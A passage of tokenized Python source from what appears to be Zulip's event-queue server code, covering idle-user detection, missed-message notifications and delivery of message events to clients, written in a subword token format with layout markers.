"(_",
"'",
"send",
"\\u",
"push",
"'_",
",_",
"False_",
")_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"queue",
"\\u",
"json",
"\\u",
"publish_",
"(_",
"\"",
"missed",
"message",
"\\u",
"mobile",
"\\u",
"notification",
"s",
"\"_",
",_",
"notice_",
",_",
"lambda_",
"notice_",
":_",
"None_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"if_",
"notif",
"y",
"\\u",
"info_",
"._",
"get_",
"(_",
"'",
"send",
"\\u",
"email",
"'_",
",_",
"False_",
")_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"queue",
"\\u",
"json",
"\\u",
"publish_",
"(_",
"\"",
"missed",
"message",
"\\u",
"email",
"s",
"\"_",
",_",
"notice_",
",_",
"lambda_",
"notice_",
":_",
"None_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"[SEP]_",
"module_",
"\\u\\u\\uEOS\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"def_",
"receive",
"r",
"\\u",
"is",
"\\u",
"idle_",
"(_",
"user",
"\\u",
"profile",
"\\u",
"id_",
",_",
"real",
"m",
"\\u",
"presen",
"ces_",
")_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"#",
" ",
"If",
" ",
"a",
" ",
"user",
" ",
"has",
" ",
"no",
" ",
"message",
"-",
"receiv",
"ing",
" ",
"event",
" ",
"queue",
"s",
",",
" ",
"the",
"y",
"'",
"ve",
" ",
"got",
" ",
"no",
" ",
"open",
" ",
"zu",
"lip",
"_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
" ",
"session",
" ",
"so",
" ",
"we",
" ",
"notif",
"y",
" ",
"them",
"_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"all",
"\\u",
"client",
"\\u",
"descriptors_",
"=_",
"get",
"\\u",
"client",
"\\u",
"descrip",
"tors",
"\\u",
"for",
"\\u",
"user_",
"(_",
"user",
"\\u",
"profile",
"\\u",
"id_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"message",
"\\u",
"event",
"\\u",
"queues_",
"=_",
"[_",
"client_",
"for_",
"client_",
"in_",
"all",
"\\u",
"client",
"\\u",
"descriptors_",
"if_",
"client_",
"._",
"accepts",
"\\u",
"messages_",
"(_",
")_",
"]_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"off",
"\\u",
"zu",
"lip",
"_",
"=_",
"len_",
"(_",
"message",
"\\u",
"event",
"\\u",
"queues_",
")_",
"==_",
"0_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
" ",
"It",
"'",
"s",
" ",
"possib",
"le",
" ",
"a",
" ",
"recip",
"ient",
" ",
"is",
" ",
"not",
" ",
"in",
" ",
"the",
" ",
"real",
"m",
" ",
"of",
" ",
"a",
" ",
"sender",
".",
" ",
"We",
" ",
"don",
"'",
"t",
" ",
"have_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
" ",
"presen",
"ce",
" ",
"informati",
"on",
" ",
"in",
" ",
"this",
" ",
"case",
" ",
"(",
"and",
" ",
"it",
"'",
"s",
" ",
"hard",
" ",
"to",
" ",
"get",
" ",
"with",
"out",
" ",
"an",
" ",
"additional_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
" ",
"db",
" ",
"query",
")",
" ",
"so",
" ",
"we",
" ",
"simp",
"ly",
" ",
"don",
"'",
"t",
" ",
"try",
" ",
"to",
" ",
"guess",
" ",
"if",
" ",
"this",
" ",
"cross",
"-",
"real",
"m",
" ",
"recipient_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
" ",
"has",
" ",
"bee",
"n",
" ",
"idle",
" ",
"for",
" ",
"too",
" ",
"long_",
"\\u\\u\\uNL\\u\\u\\u_",
"if_",
"real",
"m",
"\\u",
"presen",
"ces_",
"is_",
"None_",
"or_",
"not_",
"user",
"\\u",
"profile",
"\\u",
"id_",
"in_",
"real",
"m",
"\\u",
"presen",
"ces_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"return_",
"off",
"\\u",
"zu",
"lip",
"_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
" ",
"We",
" ",
"want",
" ",
"to",
" ",
"find",
" ",
"the",
" ",
"newest",
" ",
"\"",
"active",
"\"",
" ",
"presen",
"ce",
" ",
"entity",
" ",
"and",
" ",
"compare",
" ",
"tha",
"t",
" ",
"to",
" ",
"the_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
" ",
"activit",
"y",
" ",
"expir",
"y",
" ",
"threshol",
"d",
"._",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"user",
"\\u",
"presence_",
"=_",
"real",
"m",
"\\u",
"presen",
"ces_",
"[_",
"user",
"\\u",
"profile",
"\\u",
"id_",
"]_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"late",
"st",
"\\u",
"active",
"\\u",
"timestamp_",
"=_",
"None_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"idle_",
"=_",
"False_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"for_",
"client_",
",_",
"status_",
"in_",
"six_",
"._",
"iteritems_",
"(_",
"user",
"\\u",
"presence_",
")_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"if_",
"(_",
"late",
"st",
"\\u",
"active",
"\\u",
"timestamp_",
"is_",
"None_",
"or_",
"status_",
"[_",
"'",
"timestamp",
"'_",
"]_",
">_",
"late",
"st",
"\\u",
"active",
"\\u",
"timestamp_",
")_",
"and_",
"status_",
"[_",
"'",
"status",
"'_",
"]_",
"==_",
"'",
"active",
"'_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"late",
"st",
"\\u",
"active",
"\\u",
"timestamp_",
"=_",
"status_",
"[_",
"'",
"timestamp",
"'_",
"]_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"if_",
"late",
"st",
"\\u",
"active",
"\\u",
"timestamp_",
"is_",
"None_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"idle_",
"=_",
"True_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"else_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"active",
"\\u",
"datetime_",
"=_",
"timestamp",
"\\u",
"to",
"\\u",
"datetime_",
"(_",
"late",
"st",
"\\u",
"active",
"\\u",
"timestamp_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"#",
" ",
"140",
" ",
"second",
"s",
" ",
"is",
" ",
"consistent",
" ",
"with",
" ",
"activit",
"y",
".",
"js",
":",
"OFF",
"LINE",
"\\u",
"THRESH",
"OLD",
"\\u",
"SEC",
"S_",
"\\u\\u\\uNL\\u\\u\\u_",
"idle_",
"=_",
"now_",
"(_",
")_",
"-_",
"active",
"\\u",
"datetime_",
">_",
"datetime_",
"._",
"timedelta_",
"(_",
"seconds_",
"=_",
"140_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"return_",
"off",
"\\u",
"zu",
"lip",
"_",
"or_",
"idle_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"[SEP]_",
"module_",
"\\u\\u\\uEOS\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"def_",
"process",
"\\u",
"message",
"\\u",
"event_",
"(_",
"event",
"\\u",
"template_",
",_",
"users_",
")_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"real",
"m",
"\\u",
"presen",
"ces_",
"=_",
"{_",
"int_",
"(_",
"k_",
")_",
":_",
"v_",
"for_",
"k_",
",_",
"v_",
"in_",
"event",
"\\u",
"template_",
"[_",
"'",
"presen",
"ces",
"'_",
"]_",
"._",
"items_",
"(_",
")_",
"}_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"sender",
"\\u",
"queue",
"\\u",
"id_",
"=_",
"event",
"\\u",
"template_",
"._",
"get_",
"(_",
"'",
"sender",
"\\u",
"queue",
"\\u",
"id",
"'_",
",_",
"None_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"message",
"\\u",
"dict",
"\\u",
"markdown_",
"=_",
"event",
"\\u",
"template_",
"[_",
"'",
"message",
"\\u",
"dict",
"\\u",
"mark",
"down",
"'_",
"]_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"message",
"\\u",
"dict",
"\\u",
"no",
"\\u",
"markdown_",
"=_",
"event",
"\\u",
"template_",
"[_",
"'",
"message",
"\\u",
"dict",
"\\u",
"no",
"\\u",
"mark",
"down",
"'_",
"]_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"sender",
"\\u",
"id_",
"=_",
"message",
"\\u",
"dict",
"\\u",
"markdown_",
"[_",
"'",
"sender",
"\\u",
"id",
"'_",
"]_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"message",
"\\u",
"id_",
"=_",
"message",
"\\u",
"dict",
"\\u",
"markdown_",
"[_",
"'",
"id",
"'_",
"]_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"message",
"\\u",
"type_",
"=_",
"message",
"\\u",
"dict",
"\\u",
"markdown_",
"[_",
"'",
"type",
"'_",
"]_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"sendin",
"g",
"\\u",
"client_",
"=_",
"message",
"\\u",
"dict",
"\\u",
"markdown_",
"[_",
"'",
"client",
"'_",
"]_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
" ",
"To",
" ",
"remove",
" ",
"duplicat",
"e",
" ",
"clients",
":",
" ",
"Map",
"s",
" ",
"queue",
" ",
"ID",
" ",
"to",
" ",
"{",
"'",
"client",
"':",
" ",
"Client",
",",
" ",
"'",
"flags",
"':",
" ",
"flags",
"}_",
"\\u\\u\\uNL\\u\\u\\u_",
"send",
"\\u",
"to",
"\\u",
"clients_",
"=_",
"dict_",
"(_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
" ",
"Extra",
" ",
"user",
"-",
"specific",
" ",
"data",
" ",
"to",
" ",
"include_",
"\\u\\u\\uNL\\u\\u\\u_",
"extra",
"\\u",
"user",
"\\u",
"data_",
"=_",
"{_",
"}_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"if_",
"'",
"stream",
"\\u",
"name",
"'_",
"in_",
"event",
"\\u",
"template_",
"and_",
"not_",
"event",
"\\u",
"template_",
"._",
"get_",
"(_",
"\"",
"invite",
"\\u",
"only",
"\"_",
")_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"for_",
"client_",
"in_",
"get",
"\\u",
"client",
"\\u",
"descrip",
"tors",
"\\u",
"for",
"\\u",
"real",
"m",
"\\u",
"all",
"\\u",
"streams_",
"(_",
"event",
"\\u",
"template_",
"[_",
"'",
"real",
"m",
"\\u",
"id",
"'_",
"]_",
")_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"send",
"\\u",
"to",
"\\u",
"clients_",
"[_",
"client_",
"._",
"event",
"\\u",
"queue_",
"._",
"id_",
"]_",
"=_",
"{_",
"'",
"client",
"'_",
":_",
"client_",
",_",
"'",
"flags",
"'_",
":_",
"None_",
"}_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"if_",
"sender",
"\\u",
"queue",
"\\u",
"id_",
"is_",
"not_",
"None_",
"and_",
"client_",
"._",
"event",
"\\u",
"queue_",
"._",
"id_",
"==_",
"sender",
"\\u",
"queue",
"\\u",
"id_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"send",
"\\u",
"to",
"\\u",
"clients_",
"[_",
"client_",
"._",
"event",
"\\u",
"queue_",
"._",
"id_",
"]_",
"[_",
"'",
"is",
"\\u",
"sender",
"'_",
"]_",
"=_",
"True_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"for_",
"user",
"\\u",
"data_",
"in_",
"users_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"user",
"\\u",
"profile",
"\\u",
"id_",
"=_",
"user",
"\\u",
"data_",
"[_",
"'",
"id",
"'_",
"]_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"flags_",
"=_",
"user",
"\\u",
"data_",
"._",
"get_",
"(_",
"'",
"flags",
"'_",
",_",
"[_",
"]_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"for_",
"client_",
"in_",
"get",
"\\u",
"client",
"\\u",
"descrip",
"tors",
"\\u",
"for",
"\\u",
"user_",
"(_",
"user",
"\\u",
"profile",
"\\u",
"id_",
")_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"send",
"\\u",
"to",
"\\u",
"clients_",
"[_",
"client_",
"._",
"event",
"\\u",
"queue_",
"._",
"id_",
"]_",
"=_",
"{_",
"'",
"client",
"'_",
":_",
"client_",
",_",
"'",
"flags",
"'_",
":_",
"flags_",
"}_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"if_",
"sender",
"\\u",
"queue",
"\\u",
"id_",
"is_",
"not_",
"None_",
"and_",
"client_",
"._",
"event",
"\\u",
"queue_",
"._",
"id_",
"==_",
"sender",
"\\u",
"queue",
"\\u",
"id_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"send",
"\\u",
"to",
"\\u",
"clients_",
"[_",
"client_",
"._",
"event",
"\\u",
"queue_",
"._",
"id_",
"]_",
"[_",
"'",
"is",
"\\u",
"sender",
"'_",
"]_",
"=_",
"True_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
" ",
"If",
" ",
"the",
" ",
"recip",
"ient",
" ",
"was",
" ",
"offline",
" ",
"and",
" ",
"the",
" ",
"message",
" ",
"was",
" ",
"a",
" ",
"single",
" ",
"or",
" ",
"group",
" ",
"PM",
" ",
"to",
" ",
"him",
"_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
" ",
"or",
" ",
"she",
" ",
"was",
" ",
"@",
"-",
"notified",
" ",
"potenti",
"ally",
" ",
"notif",
"y",
" ",
"more",
" ",
"immediate",
"ly_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"receive",
"d\\u",
"pm_",
"=_",
"message",
"\\u",
"type_",
"==_",
"\"",
"private",
"\"_",
"and_",
"user",
"\\u",
"profile",
"\\u",
"id_",
"!=_",
"sender",
"\\u",
"id_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"mentioned",
"_",
"=_",
"'",
"mentioned",
"'_",
"in_",
"flags_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"idle_",
"=_",
"receive",
"r",
"\\u",
"is",
"\\u",
"idle_",
"(_",
"user",
"\\u",
"profile",
"\\u",
"id_",
",_",
"real",
"m",
"\\u",
"presen",
"ces_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"alw",
"ay",
"s",
"\\u",
"push",
"\\u",
"notify_",
"=_",
"user",
"\\u",
"data_",
"._",
"get_",
"(_",
"'",
"alw",
"ay",
"s",
"\\u",
"push",
"\\u",
"notif",
"y",
"'_",
",_",
"False_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"if_",
"(_",
"receive",
"d\\u",
"pm_",
"or_",
"mentioned",
"_",
")_",
"and_",
"(_",
"idle_",
"or_",
"alw",
"ay",
"s",
"\\u",
"push",
"\\u",
"notify_",
")_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"notice_",
"=_",
"build",
"\\u",
"offline",
"\\u",
"notification_",
"(_",
"user",
"\\u",
"profile",
"\\u",
"id_",
",_",
"message",
"\\u",
"id_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"queue",
"\\u",
"json",
"\\u",
"publish_",
"(_",
"\"",
"missed",
"message",
"\\u",
"mobile",
"\\u",
"notification",
"s",
"\"_",
",_",
"notice_",
",_",
"lambda_",
"notice_",
":_",
"None_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"notified",
"_",
"=_",
"dict_",
"(_",
"push",
"\\u",
"notified",
"_",
"=_",
"True_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"#",
" ",
"Don",
"'",
"t",
" ",
"send",
" ",
"missed",
" ",
"message",
" ",
"email",
"s",
" ",
"if",
" ",
"alw",
"ay",
"s",
"\\u",
"push",
"\\u",
"notif",
"y",
" ",
"is",
" ",
"True_",
"\\u\\u\\uNL\\u\\u\\u_",
"if_",
"idle_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"#",
" ",
"We",
" ",
"require",
" ",
"Ra",
"bbi",
"t",
"MQ",
" ",
"to",
" ",
"do",
" ",
"this",
",",
" ",
"as",
" ",
"we",
" ",
"can",
"'",
"t",
" ",
"call",
" ",
"the",
" ",
"email",
" ",
"handler_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
" ",
"from",
" ",
"the",
" ",
"Tor",
"nad",
"o",
" ",
"process",
".",
" ",
"So",
" ",
"if",
" ",
"there",
"'",
"s",
" ",
"no",
" ",
"rabbitmq",
" ",
"support",
" ",
"do",
" ",
"nothing_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"queue",
"\\u",
"json",
"\\u",
"publish_",
"(_",
"\"",
"missed",
"message",
"\\u",
"email",
"s",
"\"_",
",_",
"notice_",
",_",
"lambda_",
"notice_",
":_",
"None_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"notified",
"_",
"[_",
"'",
"email",
"\\u",
"notified",
"'_",
"]_",
"=_",
"True_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"extra",
"\\u",
"user",
"\\u",
"data_",
"[_",
"user",
"\\u",
"profile",
"\\u",
"id_",
"]_",
"=_",
"notified",
"_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"for_",
"client",
"\\u",
"data_",
"in_",
"six_",
"._",
"itervalues_",
"(_",
"send",
"\\u",
"to",
"\\u",
"clients_",
")_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"client_",
"=_",
"client",
"\\u",
"data_",
"[_",
"'",
"client",
"'_",
"]_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"flags_",
"=_",
"client",
"\\u",
"data_",
"[_",
"'",
"flags",
"'_",
"]_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"is",
"\\u",
"sender_",
"=_",
"client",
"\\u",
"data_",
"._",
"get_",
"(_",
"'",
"is",
"\\u",
"sender",
"'_",
",_",
"False_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"extra",
"\\u",
"data_",
"=_",
"extra",
"\\u",
"user",
"\\u",
"data_",
"._",
"get_",
"(_",
"client_",
"._",
"user",
"\\u",
"profile",
"\\u",
"id_",
",_",
"None_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"if_",
"not_",
"client_",
"._",
"accepts",
"\\u",
"messages_",
"(_",
")_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"#",
" ",
"The",
" ",
"actual",
" ",
"check",
" ",
"is",
" ",
"the",
" ",
"accepts",
"\\u",
"event",
"()",
" ",
"check",
" ",
"belo",
"w",
";_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
" ",
"this",
" ",
"line",
" ",
"is",
" ",
"just",
" ",
"an",
" ",
"optimization",
" ",
"to",
" ",
"avoid",
" ",
"copy",
"ing_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
" ",
"message",
" ",
"data",
" ",
"unne",
"cess",
"ari",
"ly_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"continue_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"if_",
"client_",
"._",
"appl",
"y",
"\\u",
"markdown_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"message",
"\\u",
"dict_",
"=_",
"message",
"\\u",
"dict",
"\\u",
"markdown_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"else_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"message",
"\\u",
"dict_",
"=_",
"message",
"\\u",
"dict",
"\\u",
"no",
"\\u",
"markdown_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
" ",
"Make",
" ",
"sure",
" ",
"Ze",
"phy",
"r",
" ",
"mirror",
"ing",
" ",
"bot",
"s",
" ",
"know",
" ",
"whe",
"ther",
" ",
"stream",
" ",
"is",
" ",
"invite",
"-",
"only_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"if_",
"\"",
"mirror",
"\"_",
"in_",
"client_",
"._",
"client",
"\\u",
"type",
"\\u",
"name_",
"and_",
"event",
"\\u",
"template_",
"._",
"get_",
"(_",
"\"",
"invite",
"\\u",
"only",
"\"_",
")_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"message",
"\\u",
"dict_",
"=_",
"message",
"\\u",
"dict_",
"._",
"copy_",
"(_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"message",
"\\u",
"dict_",
"[_",
"\"",
"invite",
"\\u",
"only",
"\\u",
"stream",
"\"_",
"]_",
"=_",
"True_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"user",
"\\u",
"event_",
"=_",
"dict_",
"(_",
"type_",
"=_",
"'",
"message",
"'_",
",_",
"message_",
"=_",
"message",
"\\u",
"dict_",
",_",
"flags_",
"=_",
"flags_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"if_",
"extra",
"\\u",
"data_",
"is_",
"not_",
"None_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"user",
"\\u",
"event_",
"._",
"update_",
"(_",
"extra",
"\\u",
"data_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"if_",
"is",
"\\u",
"sender_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"local",
"\\u",
"message",
"\\u",
"id_",
"=_",
"event",
"\\u",
"template_",
"._",
"get_",
"(_",
"'",
"local",
"\\u",
"id",
"'_",
",_",
"None_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"if_",
"local",
"\\u",
"message",
"\\u",
"id_",
"is_",
"not_",
"None_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"user",
"\\u",
"event_",
"[_",
"\"",
"local",
"\\u",
"message",
"\\u",
"id",
"\"_",
"]_",
"=_",
"local",
"\\u",
"message",
"\\u",
"id_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"if_",
"not_",
"client_",
"._",
"accepts",
"\\u",
"event_",
"(_",
"user",
"\\u",
"event_",
")_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"continue_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
" ",
"The",
" ",
"belo",
"w",
" ",
"prevent",
"s",
" ",
"(",
"Ze",
"phy",
"r",
")",
" ",
"mirror",
"ing",
" ",
"loop",
"s",
"._",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"if_",
"(_",
"'",
"mirror",
"'_",
"in_",
"sendin",
"g",
"\\u",
"client_",
"and_",
"\\u\\u\\uNL\\u\\u\\u_",
"sendin",
"g",
"\\u",
"client_",
"._",
"lower_",
"(_",
")_",
"==_",
"client_",
"._",
"client",
"\\u",
"type",
"\\u",
"name_",
"._",
"lower_",
"(_",
")_",
")_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"continue_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"client_",
"._",
"add",
"\\u",
"event_",
"(_",
"user",
"\\u",
"event_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"[SEP]_",
"module_",
"\\u\\u\\uEOS\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"def_",
"process",
"\\u",
"event_",
"(_",
"event_",
",_",
"users_",
")_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"for_",
"user",
"\\u",
"profile",
"\\u",
"id_",
"in_",
"users_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"for_",
"client_",
"in_",
"get",
"\\u",
"client",
"\\u",
"descrip",
"tors",
"\\u",
"for",
"\\u",
"user_",
"(_",
"user",
"\\u",
"profile",
"\\u",
"id_",
")_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"if_",
"client_",
"._",
"accepts",
"\\u",
"event_",
"(_",
"event_",
")_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"client_",
"._",
"add",
"\\u",
"event_",
"(_",
"event_",
"._",
"copy_",
"(_",
")_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"[SEP]_",
"module_",
"\\u\\u\\uEOS\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"def_",
"process",
"\\u",
"userdata",
"\\u",
"event_",
"(_",
"event",
"\\u",
"template_",
",_",
"users_",
")_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"for_",
"user",
"\\u",
"data_",
"in_",
"users_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"user",
"\\u",
"profile",
"\\u",
"id_",
"=_",
"user",
"\\u",
"data_",
"[_",
"'",
"id",
"'_",
"]_",
